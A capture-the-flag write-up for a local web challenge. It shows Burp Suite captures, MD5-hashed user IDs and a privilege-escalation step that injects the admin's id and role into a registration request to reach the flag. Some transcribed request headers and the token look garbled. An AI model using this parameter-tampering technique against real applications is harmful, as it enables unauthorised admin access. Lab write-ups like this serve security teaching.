

CCSP Writeup

1. Register and Login as a Normal User

- Begin by **registering a new account** and logging into the web application.
- After login, you are presented with a dashboard and options to access *Classified/Admin Resources*.

2. Inspect API Requests & User Discovery

- Browse the dashboard and *intercept requests* using a proxy tool (e.g., Burp Suite).
- Visit your *profile or account info page* to see your user data, including an id, role, and username.
- Observe that user IDs appear to be **hashed (MD5 format)**.

The screenshot shows the Burp Suite interface. On the left, the 'Proxy' tab is selected, displaying a list of recorded requests. The requests include:

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP
1	http://127.0.0.1:5003	GET	/flag			302	394	HTML	Redirecting...	Redirect - Central Portal	1 JWTs, 0 JWEs	127.0.0.1	
2	http://127.0.0.1:5003	GET	/login			200	4004	HTML	ico	Login - Central Portal	127.0.0.1		
4	http://127.0.0.1:5003	GET	/favicon.ico			404	300	HTML	ico	404 Not Found	127.0.0.1		
5	http://127.0.0.1:5003	POST	/auth/v1/generate_session_token	✓		200	446	JSON		1 JWTs, 0 JWEs	127.0.0.1		
6	http://127.0.0.1:5003	GET	/			200	5025	HTML		Dashboard - Central P...	1 JWTs, 0 JWEs	127.0.0.1	
8	http://127.0.0.1:5003	GET	/data/v2/query_user_identity_recor...			200	252	JSON		1 JWTs, 0 JWEs	127.0.0.1		
9	http://127.0.0.1:5003	GET	/flag			200	2087	HTML		Classified Resource - C...	1 JWTs, 0 JWEs	127.0.0.1	

A 'New release ready to install' dialog is open on the right, showing a note about improved recorded logins identification during playback, a 'See release notes' link, and two buttons: 'Update on next restart' and 'Update and restart'.

The screenshot shows a detailed view of a recorded API request and response. The request is a POST to /auth/v1/generate_session_token with the following JSON payload:

```
POST /auth/v1/generate_session_token HTTP/1.1
Host: 127.0.0.1:5003
Content-Length: 37
sec-ch-user-platform: "Windows"
Accept-Language: en-US,en;q=0.9
sec-ch-user-agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(sec-ch-user-device: "Windows")
Accept: */*
Origin: http://127.0.0.1:5003
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-store
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5003/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
  "username": "tads",
  "password": "tads"
}
```

The response is a 200 OK with the following JSON content:

```
HTTP/1.1 200 OK
Date: Mon, 03 Nov 2023 15:02:32 GMT
Content-Type: application/json
Content-Length: 274
Connection: close
{
  "status": "success",
  "token": "eyJhbGciOiJIUzI1NiIsInBkcyI6IkpXVCJ9.eyJlcm5hbWUiOiJ1YigZS1lODRhZGVTMmMsMwR
  IHTd4MwI1ODVwTF1HcM1lCjyCb11j3oi0Mclcl1lmV4c1dMtcHMj84MTe1MnO.BhjyyuSw1rig
  ZEyJAE31q1Qhd4dC2b54L24xj3_Wso=",
  "user_id": "b86fc1880ad43312db17b1b80d051e3c"
}
```

The 'Inspector' panel on the right shows the request and response headers.

3. Identify the Hash Mechanism

- By comparing the test data, recognize that the id field uses **MD5 hashes**.
- admin in MD5 is 21232f297a57a5a743894a0e4a801fc3.

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time ↴	Listener port	Start response
Dashboard Target Proxy Intruder Repeater View Help Burp Suite Community Edition v2025.9.5 - Temporary Project Intercept HTTP history WebSockets history Match and replace ⚙ Proxy settings ⚙ Filter settings: Hiding CSS, image and general binary content																	
1	http://127.0.0.1:5003	GET	/flag			302	394	HTML		Redirecting...		127.0.0.1			20:32:26 3 N... 8080	15	
2	http://127.0.0.1:5003	GET	/login			200	4004	HTML		Login - Central Portal		127.0.0.1			20:32:26 3 N... 8080	4	
4	http://127.0.0.1:5003	GET	/favicon.ico			404	388	HTML	ico	404 Not Found		127.0.0.1			20:32:26 3 N... 8080	3	
5	http://127.0.0.1:5003	POST	/api/v1/generate_session_token	✓		200	440	JSON		1 JWT, 0 JWES		127.0.0.1			20:32:32 3 N... 8080	6	
6	http://127.0.0.1:5003	GET	/			200	5025	HTML		Dashboard - Central P...	1 JWT, 0 JWES	127.0.0.1			20:32:32 3 N... 8080	4	
8	http://127.0.0.1:5003	GET	/data/v2/query_user_identity_rec...			200	252	JSON		1 JWT, 0 JWES		127.0.0.1			20:32:33 3 N... 8080	2	
9	http://127.0.0.1:5003	GET	/flag			200	2087	HTML		Classified Resource - C...	1 JWT, 0 JWES	127.0.0.1			20:32:35 3 N... 8080	6	

The screenshot shows the Burp Suite interface with the 'Request' tab selected. The request details show a GET to /data/v2/query_user_identity_record. The response details show a JSON object with fields: "id": "21232f297a57a5a743894a0e4a801fc3", "role": "captainoftheship", and "username": "admin". The 'Inspector' tab is also visible, showing the raw JSON response.

4. Extract the Required Admin Details

- The details shown for admin might resemble:

```
{
  "id": "21232f297a57a5a743894a0e4a801fc3",
  "role": "captainoftheship",
  "username": "admin"
}
```

5. Exploit: Register as Admin Using a Custom Request

- Use your proxy/interceptor to **modify the registration request**.
- In the POST request to the registration API (e.g., /register), add or override the parameters:

```
"id": "21232f297a57a5a743894a0e4a801fc3",
```

```
"role": "captainoftheship"
```

- Fill the rest of the registration as normal (choose any username/password).

6. Access the Flag

- After registering, **login** as the new user with the elevated role.

- Go to the flag page:

```
http://127.0.0.1:5003/flag
```

- With role: captainoftheship and correct or spoofed admin hash, you will successfully access the flag.

```
FLAG{API_0bfu5c4t10n_D03snt_St0p_M3}
```